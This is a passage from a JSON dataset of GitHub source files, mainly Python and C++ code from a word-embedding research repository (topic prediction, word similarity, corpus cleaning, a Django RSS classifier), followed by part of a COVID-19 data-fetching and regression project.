{}\\n vocab_in_wiki_count = {}\\n with open(filename) as fin:\\n for line in fin:\\n if count % 10000 == 0:\\n log(count)\\n count += 1\\n arr = line.strip().split('\\\\t')\\n if len(arr) != 2: continue\\n relation = arr[0].split('.')\\n if relation[0] not in fouts:\\n fouts[relation[0]] = file('../../paper/data/freebase/split_wiki_words/%s' % relation[0], 'w')\\n vocab_in_wiki_count[relation[0]] = {}\\n vocab_in_wiki_count[relation[0]]['total'] = 0\\n vocab_in_wiki_count[relation[0]]['hit'] = 0\\n # rules to extract entity name\\n name = None\\n parts = arr[1].split(' ')\\n if len(parts) == 1: name = arr[1]\\n if len(parts) == 2 and is_version(parts[1]): name = parts[0]\\n # rules end\\n if not name: continue\\n name = name.lower()\\n vocab_in_wiki_count[relation[0]]['total'] += 1\\n if name in wiki_dict: vocab_in_wiki_count[relation[0]]['hit'] += 1\\n else: continue\\n fouts[relation[0]].write('%s\\\\t%s\\\\t%d\\\\n' % (arr[0], name, wiki_dict[name]))\\n fres = file('./hit_rate', 'w')\\n for name in fouts:\\n fouts[name].close()\\n count = vocab_in_wiki_count[name]\\n to_write = '%s\\\\thit:%d\\\\ttotal:%d\\\\trate:%lf\\\\n' % (name, count['hit'], count['total'], 1.0 * count['hit'] / (count['total'] if count['total'] != 0 else 1))\\n print to_write\\n fres.write(to_write)\\n fres.close()\\n\\ndef aggregate_topic(path):\\n target_topic = [\\n \\\"astronomy\\\",\\n \\\"biology\\\",\\n \\\"boats\\\",\\n \\\"chemistry\\\",\\n \\\"computer\\\",\\n \\\"fashion\\\",\\n \\\"food\\\",\\n \\\"geology\\\",\\n \\\"interests\\\",\\n \\\"language\\\",\\n ]\\n fout = file('../../paper/data/srwe_model/freebase.100.relation', 'w')\\n for topic in target_topic:\\n log('processing %s' % topic)\\n with open(os.path.join(path, topic)) as fin:\\n for line in fin:\\n arr = line.strip().split('\\\\t')\\n if int(arr[2]) <= 100: continue\\n fout.write('%s\\\\t%s\\\\t%s\\\\n' % (arr[1], 'type_of_%s' % topic, topic))\\n fout.close()\\n\\ndef main():\\n #filter_1_gram()\\n #alias_to_name('../../paper/data/freebase/alias_1gram')\\n #extract()\\n #clean_tag()\\n #filter_name()\\n #split_relation('../../paper/data/freebase/instance.all.name')\\n aggregate_topic('../../paper/data/freebase/split_wiki_words/')\\n\\nif __name__ == '__main__':\\n main()\\n\"\n },\n {\n \"alpha_fraction\": 0.5223081707954407,\n \"alphanum_fraction\": 0.5385683178901672,\n \"avg_line_length\": 35.810218811035156,\n \"blob_id\": \"4cb9001cd9f99eceb033996061128e143db55eea\",\n \"content_id\": \"4db94699a1a717e73cf6f57a0b68cac95364cbec\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 10086,\n \"license_type\": \"no_license\",\n \"max_line_length\": 164,\n \"num_lines\": 274,\n \"path\": \"/evaluation/topic_prediction.py\",\n \"repo_name\": \"zbhno37/srwe\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import sys\\nsys.path.append('../src')\\nfrom utils import load_w2v_model, similarity, MinSizeHeap, similarity_numpy\\nfrom collections import defaultdict\\nimport logging\\nlogging.basicConfig(format='%(asctime)s\\\\t%(message)s', level=logging.INFO)\\nfrom multiprocessing import Process, Manager\\nfrom multiprocessing.managers import BaseManager\\n\\nclass HeapManager(BaseManager):\\n pass\\n\\nHeapManager.register('MinSizeHeap', MinSizeHeap, exposed = ['push', 'pop', 'sort', 'extend', 'clear', 'get'])\\n\\ndef add_vector(vec1, vec2):\\n return [vec1[i] + vec2[i] for i in range(len(vec1))]\\n #return vec1 + vec2\\n\\ndef minus_vector(vec1, vec2):\\n #return [vec1[i] - vec2[i] for i in range(len(vec1))]\\n return vec1 - vec2\\n\\ndef find_similar_topics(vec, model, top_n = 1):\\n heap = MinSizeHeap(top_n)\\n for word in model:\\n if 'type_of_' not in word:\\n heap.push((similarity(vec, model[word]), word))\\n #heap.push((similarity_numpy(vec, model[word]), word))\\n heap.sort()\\n return heap.arr\\n\\ndef get_lc_and_relation(filename):\\n count = 0\\n relation = set()\\n with open(filename) as fin:\\n for line in fin:\\n count += 1\\n relation.add(line.strip().split('\\\\t')[-1])\\n return count, list(relation)\\n\\ndef find_similar_word_process(vec, model_items, _id, begin, end, top_n, heap):\\n heap.clear()\\n if begin > len(model_items): return\\n if end > len(model_items): end = len(model_items)\\n for i in range(begin, end):\\n if 'type_of_' not in model_items[i][0]:\\n heap.push((similarity(vec, model_items[i][1]), model_items[i][0]))\\n #for each in heap.get():\\n #print '%d\\\\t%s' % (_id, each)\\n\\ndef find_similar_word_multiproc(vec, model_items, heaps, top_n = 1, process_nums = 10):\\n size = len(model_items) / process_nums\\n # seg_info\\n # [a, b)\\n seg_info = [0]\\n for i in range(process_nums - 1):\\n seg_info.append(seg_info[-1] + size)\\n seg_info.append(len(model_items))\\n processes = []\\n for i in range(process_nums):\\n processes.append(Process(target=find_similar_word_process, args=(vec, model_items, i, seg_info[i], seg_info[i + 1], top_n, heaps[i])))\\n for p in processes:\\n p.start()\\n for p in processes:\\n p.join()\\n #merge\\n heap = MinSizeHeap(top_n)\\n for each in heaps:\\n heap.extend(each.get())\\n heap.sort()\\n return heap.arr\\n\\ndef topic_prediction(test_file, train_file, model):\\n # train_file is to calculate relation vector\\n k = len(model['</s>'])\\n relation_count = defaultdict(lambda: 0)\\n logging.info('calculating relation vectors...')\\n with open(train_file) as fin:\\n for line in fin:\\n h, r, t = line.strip().split('\\\\t')\\n if h not in model or t not in model: continue\\n if r not in model: model[r] = [0.0] * k\\n for i in range(k):\\n model[r][i] += model[t][i] - model[h][i]\\n relation_count[r] += 1\\n for r in relation_count:\\n for i in range(k):\\n model[r][i] /= relation_count[r]\\n #return topic_prediction_with_relation(test_file, model)\\n return topic_prediction_with_relation_multiproc(test_file, model)\\n\\ndef topic_prediction_with_relation(test_file, model):\\n topic_list = [\\n \\\"astronomy\\\",\\n \\\"biology\\\",\\n \\\"boats\\\",\\n \\\"chemistry\\\",\\n \\\"computer\\\",\\n \\\"fashion\\\",\\n \\\"food\\\",\\n \\\"geology\\\",\\n \\\"interests\\\",\\n \\\"language\\\",\\n ]\\n prediction_res = {}\\n for topic in topic_list:\\n prediction_res[topic] = {}\\n prediction_res[topic]['correct'] = 0\\n # 1 for smooth\\n prediction_res[topic]['total'] = 1\\n model_items = model.items()\\n line_count = 0\\n process_nums = 10\\n top_n = 3\\n\\n heapManager = HeapManager()\\n heapManager.start()\\n heaps = [None] * process_nums\\n for i in range(process_nums):\\n heaps[i] = heapManager.MinSizeHeap(top_n)\\n\\n with open(test_file) as fin:\\n for line in fin:\\n #if line_count % 100 == 0:\\n logging.info(line_count)\\n line_count += 1\\n h, r, t = line.strip().split('\\\\t')\\n if h not in model: continue\\n h_r = add_vector(model[h], model[r])\\n #candidates = find_similar_topics(h_r, model, top_n=3)\\n candidates = find_similar_word_multiproc(h_r, model_items, heaps=heaps, top_n=top_n, process_nums=process_nums)\\n for simi, topic in candidates:\\n if t == topic:\\n prediction_res[t]['correct'] += 1\\n break\\n prediction_res[t]['total'] += 1\\n\\n return prediction_res\\n\\ndef find_similar_word_partly_proc(_id, topic_list, filename, model, begin, end, count_dict, top_n):\\n logging.info('process %d start' % _id)\\n # not dict(dict())\\n # the inner dict can not be sync\\n #for topic in topic_list:\\n #logging.info('%d, topic:%s' % (_id, topic))\\n ##count_dict[topic] = {}\\n ##count_dict[topic][1] = 0\\n ##count_dict[topic][3] = 0\\n ##count_dict[topic][5] = 0\\n ##count_dict[topic][0] = 1\\n line_count = 0\\n process_line = 0\\n with open(filename) as fin:\\n for line in fin:\\n line_count += 1\\n if line_count < begin: continue\\n if line_count >= end: break\\n process_line += 1\\n #if process_line > 10: break\\n if process_line % 10 == 0:\\n logging.info('process %d:%d:%lf%%' % (_id, process_line, 1.0 * process_line / (end - begin) * 100))\\n h, r, t = line.strip().split('\\\\t')\\n if h not in model: continue\\n h_r = add_vector(model[h], model[r])\\n #h_r = model[h] + model[r]\\n candidates = find_similar_topics(h_r, model, top_n=top_n)\\n for i, each in enumerate(candidates):\\n simi, topic = each\\n if t == topic:\\n if i == 0:\\n count_dict['%s_1' % topic] += 1\\n count_dict['%s_3' % topic] += 1\\n count_dict['%s_5' % topic] += 1\\n #count_dict[topic][1] += 1\\n #count_dict[topic][3] += 1\\n #count_dict[topic][5] += 1\\n elif 1 <= i <= 2:\\n count_dict['%s_3' % topic] += 1\\n count_dict['%s_5' % topic] += 1\\n #count_dict[topic][3] += 1\\n #count_dict[topic][5] += 1\\n elif 3<= i <= 4:\\n count_dict['%s_5' % topic] += 1\\n #count_dict[topic][5] += 1\\n break\\n count_dict['%s_0' % t] += 1\\n logging.info('process %d finished.' % _id)\\n\\ndef topic_prediction_with_relation_multiproc(test_file, model):\\n total = 0\\n process_nums = 10\\n top_n = 5\\n logging.info('geting line count...')\\n total, topic_list = get_lc_and_relation(test_file)\\n size = total / process_nums\\n seg_info = [0]\\n for i in range(process_nums - 1):\\n seg_info.append(seg_info[-1] + size)\\n seg_info.append(total)\\n\\n manager = Manager()\\n count_dicts = []\\n for i in range(process_nums):\\n count_dicts.append(manager.dict())\\n for topic in topic_list:\\n count_dicts[i]['%s_1' % topic] = 0\\n count_dicts[i]['%s_3' % topic] = 0\\n count_dicts[i]['%s_5' % topic] = 0\\n count_dicts[i]['%s_0' % topic] = 0\\n processes = []\\n for i in range(process_nums):\\n processes.append(Process(target=find_similar_word_partly_proc, args=(i, topic_list, test_file, model, seg_info[i], seg_info[i + 1], count_dicts[i], top_n)))\\n for p in processes:\\n p.start()\\n for p in processes:\\n p.join()\\n\\n prediction_res = {}\\n for topic in topic_list:\\n prediction_res[topic] = {}\\n prediction_res[topic][1] = 0\\n prediction_res[topic][3] = 0\\n prediction_res[topic][5] = 0\\n prediction_res[topic][0] = 0\\n\\n for count_dict in count_dicts:\\n for topic in topic_list:\\n for i in [0, 1, 3, 5]:\\n key = '%s_%d' % (topic, i)\\n prediction_res[topic][i] += count_dict[key]\\n\\n for topic in topic_list:\\n if prediction_res[topic][0] == 0:\\n prediction_res[topic][0] = 1\\n return prediction_res\\n\\ndef main():\\n has_relation = False\\n model_path = '../../paper/data/srwe_model/wiki_small.w2v.model'\\n #model_path = '../../paper/data/srwe_model/wiki_small.w2v.model'\\n logging.info('loading model...')\\n model = load_w2v_model(model_path, logging, nparray=False)\\n train_file = '../../paper/data/srwe_model/freebase.100.relation.train'\\n test_file = '../../paper/data/srwe_model/freebase.100.relation.test'\\n if has_relation:\\n #prediction_res = topic_prediction_with_relation(test_file, model)\\n prediction_res = topic_prediction_with_relation_multiproc(test_file, model)\\n else:\\n #prediction_res = topic_prediction(test_file, train_file, model)\\n prediction_res = topic_prediction(test_file, train_file, model)\\n\\n total_count = {}\\n for i in [0, 1, 3, 5]:\\n total_count[i] = 0\\n\\n for topic in prediction_res:\\n res = prediction_res[topic]\\n print 'topic:%s, total:%d' % (topic, res[0])\\n total_count[0] += res[0]\\n for i in range(1, 6):\\n if i in res:\\n total_count[i] += res[i]\\n print 'top:%d, correct:%d, total:%d, correct rate:%lf' % (\\n i, res[i], res[0], 1.0 * res[i] / res[0])\\n #print 'correct:%d, total:%d, correct rate:%lf' % (res['correct'],\\n #res['total'],\\n #1.0 * res['correct'] / res['total'])\\n print 'total'\\n for i in range(1, 6):\\n if i in total_count:\\n print 'top:%d, correct:%d, total:%d, correct rate:%lf' % (\\n i, total_count[i], total_count[0], 1.0 * total_count[i] / total_count[0])\\nif __name__ == '__main__':\\n main()\\n\"\n },\n {\n \"alpha_fraction\": 0.5840368270874023,\n \"alphanum_fraction\": 0.6039907932281494,\n \"avg_line_length\": 32.410255432128906,\n \"blob_id\": \"4f0b28e6450225999a13a28bd42d0201d29dd135\",\n \"content_id\": \"6a5957beb75bb222eeee85600b1a99a804ddac51\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1303,\n \"license_type\": \"no_license\",\n \"max_line_length\": 92,\n \"num_lines\": 39,\n \"path\": \"/evaluation/word_similarity.py\",\n \"repo_name\": \"zbhno37/srwe\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import scipy.stats\\nimport sys\\nsys.path.append('../src')\\nfrom utils import load_w2v_model, similarity\\n\\nimport logging\\nlogging.basicConfig(format='%(asctime)s\\\\t%(message)s', level=logging.INFO)\\nimport random\\n\\ndef load_standard(filename):\\n word_pair = []\\n simi = []\\n with open(filename) as fin:\\n for line in fin:\\n if line.strip().startswith('#'): continue\\n arr = line.strip().split('\\\\t')\\n if len(arr) != 4: continue\\n word_pair.append((arr[1].lower(), arr[2].lower()))\\n simi.append(float(arr[3]))\\n return word_pair, simi\\n\\ndef main():\\n word_pair, simi = load_standard('./wordsim353_annotator1.txt')\\n #model = load_w2v_model('../../paper/word2vec/vec.txt', logging)\\n model_path = '../../paper/data/srwe_model/wiki_small.w2v.r.0.001.model'\\n model = load_w2v_model(model_path, logging)\\n new_simi = []\\n for pair in word_pair:\\n if pair[0] not in model or pair[1] not in model:\\n logging.error('%s not in vocab.' % pair[0] if pair[0] not in model else pair[1])\\n new_simi.append(0.0)\\n continue\\n new_simi.append(similarity(model[pair[0]], model[pair[1]]))\\n print model_path\\n res = scipy.stats.spearmanr(simi, new_simi)\\n print res\\n\\nif __name__ == '__main__':\\n main()\\n\"\n },\n {\n \"alpha_fraction\": 0.5418410301208496,\n \"alphanum_fraction\": 0.560669481754303,\n \"avg_line_length\": 25.5,\n \"blob_id\": \"487eba43c78a59102b10eace418fa2dc2db2c7bb\",\n \"content_id\": \"2c3a17c3616ecd46a2d035c3fafeb7543f8080db\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 478,\n \"license_type\": \"no_license\",\n \"max_line_length\": 74,\n \"num_lines\": 18,\n \"path\": \"/gen_data/preprocess_corpus.py\",\n \"repo_name\": \"zbhno37/srwe\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import re\\nimport logging\\n\\nlogging.basicConfig(format='%(asctime)s\\\\t%(message)s', level=logging.INFO)\\n\\npattern = re.compile(r'[\\\\'\\\\\\\"\\\\\\\\,./;\\\\[\\\\]<>?:\\\\{\\\\}|!~`@#$^&*()_]')\\n\\nfout = file('../../paper/data/nytimes/nytimes_corpus', 'w')\\n\\ncount = 0\\nwith open('../../paper/data/nytimes/nytimes_content') as fin:\\n for line in fin:\\n fout.write('%s' % (pattern.sub(' ', line.lower())))\\n if count % 100000 == 0:\\n logging.info(count)\\n count += 1\\n\\nfout.close()\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6171208620071411,\n \"alphanum_fraction\": 0.6289567947387695,\n \"avg_line_length\": 37.2315788269043,\n \"blob_id\": \"50f74230627f8d61a010dbd627ea658d0bbe19ea\",\n \"content_id\": \"3c05bcb68fd78b4e1376e379d8358f0db41e2df8\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3633,\n \"license_type\": \"no_license\",\n \"max_line_length\": 149,\n \"num_lines\": 95,\n \"path\": \"/demo/rss_news/rss/management/commands/fetch_rss_update.py\",\n \"repo_name\": \"zbhno37/srwe\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.core.management.base import BaseCommand, CommandError\\nfrom rss.models import RSSItem, ClassItem, Subscription, News\\nimport time\\nfrom dateutil import parser as time_parser\\nimport feedparser\\nimport logging\\nfrom sklearn.externals import joblib\\nlogger = logging.getLogger('django_logger')\\nfetch_logger = logging.getLogger('fetch_logger')\\nimport sys\\n#sys.path.append('../../../../../src')\\n#sys.path.append('../../../../../evaluation/')\\nsys.path.append('/home/zhangbaihan/srwe/src')\\nsys.path.append('/home/zhangbaihan/srwe/evaluation/')\\nfrom text_classification import clean_text, get_vec_len, get_vec_from_words\\nfrom utils import load_w2v_model\\n\\nclfs = {}\\nw2v_model = {}\\ndimension = 0\\n\\ndef classfy(w2v_model, clfs, text):\\n fetch_logger.info('classfying:text:%s' % text)\\n vec = get_vec_from_words(clean_text(text.decode('utf-8')), w2v_model, dimension)\\n pred_res = []\\n for label in clfs:\\n pred_res.append((clfs[label].predict_proba(vec.reshape(1, -1))[0][1], label))\\n sorted_pred = sorted(pred_res, key=lambda x: x[0], reverse=True)\\n fetch_logger.info('label:%s' % sorted_pred[0][1])\\n return sorted_pred[0][1]\\n\\ndef format_time(secs):\\n return time.strftime('%Y-%m-%d %H:%M:%S', secs)\\n\\ndef get_classes():\\n labels = {}\\n classes = ClassItem.objects.all()\\n for item in classes:\\n labels[item.title.encode('utf-8')] = item\\n return labels\\n\\ndef load_models(labels):\\n global clfs, w2v_model, dimension\\n path = '/home/zhangbaihan/srwe/evaluation/clf_model/%s.model'\\n model_file = '/home/zhangbaihan/paper/data/srwe_model/wiki_small.w2v.100.r.0.00001.s.0.00009.model'\\n if not clfs:\\n keys = labels.keys()\\n fetch_logger.info('loadding LR models...')\\n for label in keys:\\n fetch_logger.info('loadding %s.model ...' % label)\\n clfs[label] = joblib.load(path % label)\\n if not w2v_model:\\n fetch_logger.info('loadding w2v model...')\\n w2v_model = load_w2v_model(model_file, None, nparray=True)\\n dimension = get_vec_len(w2v_model)\\n\\ndef fetch_rss_update():\\n fetch_logger = logging.getLogger('fetch_logger')\\n fetch_logger.info('#########fetch cron begin...###########')\\n labels = get_classes()\\n if not clfs or not w2v_model: load_models(labels)\\n\\n rss_items = RSSItem.objects.all()\\n for item in rss_items:\\n url = item.url\\n update_time = item.update_time\\n #update_time = item.update_time.timetuple()\\n latest = update_time\\n fetch_logger.info('%s,%s' % (url, update_time))\\n parser = feedparser.parse(url)\\n for entry in parser.entries:\\n published_datetime = time_parser.parse(entry.published)\\n if latest < published_datetime:\\n latest = published_datetime\\n if update_time >= published_datetime:\\n break\\n title = entry['title'].encode('utf-8')\\n abstract = entry['summary'].encode('utf-8')\\n url = entry['link'].encode('utf-8')\\n # Do classification\\n label = classfy(w2v_model, clfs, '%s %s' % (title, abstract))\\n class_item = labels[label]\\n new_news = News(rss_id=item, pub_time=published_datetime, title=title, abstract=abstract, content='', news_link=url, class_id=class_item)\\n new_news.save()\\n\\n if latest > update_time:\\n item.update_time = latest\\n item.save()\\n fetch_logger.info('#########fetch cron end###########')\\n #return HttpResponse('successfully')\\n\\nclass Command(BaseCommand):\\n def handle(self, *args, **options):\\n fetch_rss_update()\\n #print 'hello world'\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6478617191314697,\n \"alphanum_fraction\": 0.6487715840339661,\n \"avg_line_length\": 22.89130401611328,\n \"blob_id\": \"7ec33c56e4f1ec748e4c57d065f1f718aa36b009\",\n \"content_id\": \"20558a514a5bc357b0b2b2e9d9373e05a8813716\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1099,\n \"license_type\": \"no_license\",\n \"max_line_length\": 70,\n \"num_lines\": 46,\n \"path\": \"/src/RelationalData.h\",\n \"repo_name\": \"zbhno37/srwe\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#ifndef RELATIONALDATA_H\\n#define RELATIONALDATA_H\\n\\n#include <unordered_map>\\n#include <unordered_set>\\n#include <string>\\n#include <map>\\n#include <fstream>\\n#include <sstream>\\n#include <vector>\\n#include <iostream>\\nusing namespace std;\\n\\nclass RelationalData {\\npublic:\\n unordered_map<string, vector<pair<string, string>>> dataset;\\n unordered_map<string, int> relations;\\n\\n RelationalData(const string& filename) {\\n ReadData(filename);\\n }\\n\\n void ReadData(const string& filename);\\n\\n};\\n\\nvoid RelationalData::ReadData(const string& filename) {\\n // file format\\n // head relation tail (instance relation topic)\\n // example\\n // dos type_of_computer(or operating_system) computer\\n //\\n ifstream fin(filename.c_str());\\n string line, head, relation, tail;\\n while (getline(fin, line)) {\\n istringstream iss(line);\\n iss >> head >> relation >> tail;\\n dataset[head].push_back(pair<string, string>(relation, tail));\\n relations[relation]++;\\n //if (dataset[head].size() > 1)\\n //cout << head << endl;\\n }\\n fin.close();\\n}\\n\\n#endif\\n\"\n },\n {\n \"alpha_fraction\": 0.5677808523178101,\n \"alphanum_fraction\": 0.5854224562644958,\n \"avg_line_length\": 34.31147384643555,\n \"blob_id\": \"b66e9e5ac7c3c676c46afb765b47a171c86cb373\",\n \"content_id\": \"4b52df5d5dcf0ed51c139bff0fc55e4e1a8733bf\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2154,\n \"license_type\": \"no_license\",\n \"max_line_length\": 86,\n \"num_lines\": 61,\n \"path\": \"/gen_data/nytimes/clean_nytimes.py\",\n \"repo_name\": \"zbhno37/srwe\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from collections import defaultdict\\nimport sys\\nsys.path.append('../../evaluation/')\\nsys.path.append('../../src/')\\nfrom text_classification import clean_text\\n\\ndef count_category():\\n category_count = defaultdict(lambda: 0)\\n with open('./nytimes.2010_2015') as fin:\\n for line in fin:\\n arr = line.strip().split('\\\\t')\\n if len(arr) != 5: continue\\n category_count[arr[1]] += 1\\n\\n sorted_category = sorted(category_count.items(), key=lambda x: x[1], reverse=True)\\n for category, count in sorted_category:\\n print category, count\\n\\ndef count_category_and_char():\\n category_count = defaultdict(lambda: 0)\\n category_word_count = defaultdict(lambda: 0)\\n with open('./news_corpus') as fin:\\n for line in fin:\\n arr = line.strip().split('\\\\t')\\n category_count[arr[1]] += 1\\n #category_word_count[arr[1]] += len(clean_text(arr[0].decode('utf-8')))\\n sorted_category = sorted(category_count.items(), key=lambda x: x[1], reverse=True)\\n #print ' & '.join(map(lambda x: '%d' % x[1], sorted_category))\\n for category, count in sorted_category:\\n print '\\\\\\\\hline'\\n print '%s & %d \\\\\\\\\\\\\\\\' % (category, count)\\n\\ndef load_category(filename):\\n category_map = {}\\n with open(filename) as fin:\\n for line in fin:\\n arr = line.strip().split('\\\\t')\\n for cate in arr[1:]:\\n category_map[cate] = arr[0]\\n return category_map\\n\\n\\ndef extract_news():\\n category_map = load_category('./category_mapping.txt')\\n category_count = defaultdict(lambda: 0)\\n fout = file('./news_corpus', 'w')\\n with open('./nytimes.2010_2015') as fin:\\n for line in fin:\\n arr = line.strip().split('\\\\t')\\n if len(arr) != 5: continue\\n category = category_map.get(arr[1], None)\\n if not category: continue\\n fout.write('%s %s\\\\t%s\\\\n' % (arr[2], arr[4], category))\\n category_count[category] += 1\\n for category in category_count:\\n print category, category_count[category]\\n fout.close()\\n\\nif __name__ == '__main__':\\n #extract_news()\\n count_category_and_char()\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":24,"string":"24"}}},{"rowIdx":2984089,"cells":{"repo_name":{"kind":"string","value":"SimonTheWang/coronavirusGrapher"},"repo_url":{"kind":"string","value":"https://github.com/SimonTheWang/coronavirusGrapher"},"snapshot_id":{"kind":"string","value":"6f9c4a736ced4aae8d13c77b904cb4a92fe4c4fd"},"revision_id":{"kind":"string","value":"e3b88ce8ddf1c751686bb8ccca8b541565eabbfa"},"directory_id":{"kind":"string","value":"52e7672212400c35ce78bf6732c8e2c9b06aa03f"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2023-04-01T14:26:16.391458","string":"2023-04-01T14:26:16.391458"},"revision_date":{"kind":"timestamp","value":"2021-04-05T14:54:22","string":"2021-04-05T14:54:22"},"committer_date":{"kind":"timestamp","value":"2021-04-05T14:54:22","string":"2021-04-05T14:54:22"},"github_id":{"kind":"number","value":266222985,"string":"266,222,985"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6187789440155029,"alphanum_fraction":0.6256296634674072,"avg_line_length":40.38461685180664,"blob_id":"68f0ce0028741002ee53eef4b0434b0600440651","content_id":"76a786000355ba876d9cb18cb4cc87a28ce2b352","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":4963,"license_type":"no_license","max_line_length":318,"num_lines":117,"path":"/frontend/getData.py","repo_name":"SimonTheWang/coronavirusGrapher","src_encoding":"UTF-8","text":"from datetime import datetime\r\nimport requests\r\nimport json\r\n\r\nAPIreference = ' refer to https://documenter.getpostman.com/view/10808728/SzS8rjbc?version=latest for more info'\r\nURL = \"https://api.covid19api.com/\"\r\n\r\ndef getCountries():\r\n ''' searches covid19api for available countries in their database '''\r\n response = requests.get(URL+'countries')\r\n data = response.json()\r\n return data\r\n\r\ndef displayCountries(data):\r\n ''' returns countries from getCountries as a list '''\r\n allCountries = []\r\n for country in data:\r\n allCountries.append(country[\"Country\"])\r\n data = ', '.join(allCountries)\r\n return data\r\n \r\ndef checkCountry(country):\r\n ''' Checks for validity of inputted Country, \r\n note that some countries marked as 'available' may return an error \r\n because the api does not currently have information on them.\r\n This function also returns the slug of a given country to make its request to the api easier'''\r\n for place in requests.get(URL+'countries').json():\r\n for each in place.items():\r\n if country.lower() == place['Country'].lower() or country.lower() == place['Slug'].lower() or country == place['ISO2'].lower():\r\n return place['Slug']\r\n raise ValueError ('cannot find response, your value \"' + country + '\" is not a valid country' + APIreference)\r\n\r\ndef getData(country, status = 'confirmed'):\r\n ''' makes a request to the api, using user inputs and checkCountry slug.\r\n returns a dictionary containing all the information from that area from day one of the outbreak there'''\r\n countryInput = 'country/' + checkCountry(country)\r\n if status == '1' or status == 'confirmed' or status == '':\r\n status = 'confirmed'\r\n elif status == '2' or status == 'recovered':\r\n status = 'recovered'\r\n elif status == '3' or status == 'deaths':\r\n status = 'deaths'\r\n else:\r\n raise ValueError ('Value \"'+ status + '\" is invalid, please enter a number between 1 and 3')\r\n\r\n\r\n status = 'status/' + status.lower()\r\n parameters = {\r\n }\r\n\r\n response = requests.get(URL+'dayone'+'/'+countryInput+'/'+status+'/'+'live',parameters)\r\n \r\n data = response.json()\r\n if data:\r\n return data\r\n else:\r\n raise ValueError ('Data for ' + country +' parsed as ' + countryInput +' is not found')\r\n\r\ndef searchProvince(data):# dictionary with keys '' or province names\r\n ''' Using data in getData(), returns a dictionary containing \r\n key-value pairs of Provinces and their cities, which are a set, for a country.\r\n If not present, the province will be replaced by '' '''\r\n place = {}\r\n place[''] = set()\r\n for datapoint in data:\r\n if datapoint['Province'] and datapoint['Province'] not in place.keys():\r\n place[datapoint['Province']] = set()\r\n\r\n if datapoint['City']:\r\n if place[datapoint['Province']]:\r\n place[datapoint['Province']].add(datapoint['City'])\r\n else:\r\n place[''].add(datapoint['City'])\r\n return place\r\n\r\ndef parseData(data,province='', city = ''):\r\n ''' Using data from getData() and user data, this returns a dictionary containing\r\n data on the given area, including the number of cases per day and the total cases per day, \r\n and returns an error if the province or city do not match with the country.'''\r\n days = []\r\n dates = []\r\n totalCases = []\r\n casesPerDay = []\r\n info = {}\r\n count = 0\r\n info['country'] = data[0]['Country'].capitalize()\r\n info['province'] = province.capitalize()\r\n info['city'] = city.capitalize()\r\n for subject in data:\r\n #appends data only for corresponding province-city\r\n if (((province and city and province.title() == subject['Province'].title() and city.title() == subject['City'].title())) or ((province and not city) and (province.title() == subject['Province'].title())) or ((not province and city and city.title() == subject['City'].title())) or (not province and not city)):\r\n totalCases.append(subject['Cases'])\r\n count+=1\r\n days.append(count)\r\n dates.append(subject['Date'])\r\n \r\n if count ==0:\r\n raise ValueError ( 'Your input of either city or province is invalid, the database does not contain \"'+ province+ city + '\" for ' + info['country'] + APIreference)\r\n info['totalCases'] = totalCases\r\n info['days'] = days\r\n info['dates'] = dates\r\n info['type'] = subject['Status']\r\n info['day1'] = ''.join((data[0])['Date'].split())[:-10]\r\n\r\n\r\n\r\n\r\n previousTotalCases = totalCases.copy()# computes cases per day using total cases \r\n previousTotalCases.insert(0,0)\r\n afterTotalCases = totalCases.copy()\r\n afterTotalCases.append(0)\r\n for day1,day2 in zip(previousTotalCases,afterTotalCases):\r\n casesPerDay.append(day2-day1)\r\n casesPerDay.pop()\r\n info['casesPerDay'] = casesPerDay \r\n\r\n return info\r\n\r\n\r\n"},{"alpha_fraction":0.6417959928512573,"alphanum_fraction":0.6569824814796448,"avg_line_length":35.345680236816406,"blob_id":"30127a26b1d415b0601c39805e35e8c05d846af3","content_id":"8e345a80e150894aa44fbf71e089e672cca01873","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3029,"license_type":"no_license","max_line_length":225,"num_lines":81,"path":"/frontend/machinelearning.py","repo_name":"SimonTheWang/coronavirusGrapher","src_encoding":"UTF-8","text":"from getData import *\r\nimport pandas as pd \r\nimport numpy as np \r\nimport matplotlib.pyplot as plt \r\nimport seaborn as seabornInstance \r\nfrom sklearn.model_selection import train_test_split \r\nfrom sklearn.linear_model import LinearRegression\r\nfrom sklearn.preprocessing import PolynomialFeatures\r\nfrom sklearn import metrics\r\n\r\nLIMIT = 1000\r\ndef machineLearning(data):\r\n print('request received')\r\n x = data['days'].copy()\r\n y1 = data['totalCases'].copy()\r\n y2 = data['casesPerDay'].copy()\r\n\r\n x_new = np.array(x) # Transforms list into an array\r\n y2_new = np.array(y2)\r\n\r\n x_new2 = x_new.reshape(-1, 1) # Transforms 1d array into a 2d array\r\n y2_new = y2_new.reshape(-1, 1)\r\n\r\n\r\n\r\n poly_reg = PolynomialFeatures(degree = 2) # Degree 2 polynomial is a 